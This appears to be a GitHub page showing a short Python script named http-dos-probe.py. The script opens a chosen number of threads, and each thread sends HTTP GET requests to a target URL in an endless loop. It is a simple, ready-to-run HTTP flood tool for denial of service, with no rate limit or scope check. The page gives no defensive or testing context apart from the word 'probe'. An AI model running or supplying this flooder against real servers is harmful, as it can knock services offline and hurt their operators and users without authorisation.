-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhttp-dos-probe.py
More file actions
31 lines (25 loc) · 923 Bytes
/
Copy pathhttp-dos-probe.py
File metadata and controls
31 lines (25 loc) · 923 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import threading
import requests
import argparse
def send_request(url):
while True:
try:
response = requests.get(url)
print(f"Request sent, status code: {response.status_code}")
except Exception as e:
print(f"Request failed: {e}")
def main(url, num_threads):
threads = []
for i in range(num_threads):
t = threading.Thread(target=send_request, args=(url,))
t.start()
threads.append(t)
# To keep the script running, join all threads
for t in threads:
t.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='HTTP Request Sender')
parser.add_argument('url', type=str, help='URL to send requests to')
parser.add_argument('num_threads', type=int, help='Number of concurrent threads')
args = parser.parse_args()
main(args.url, args.num_threads)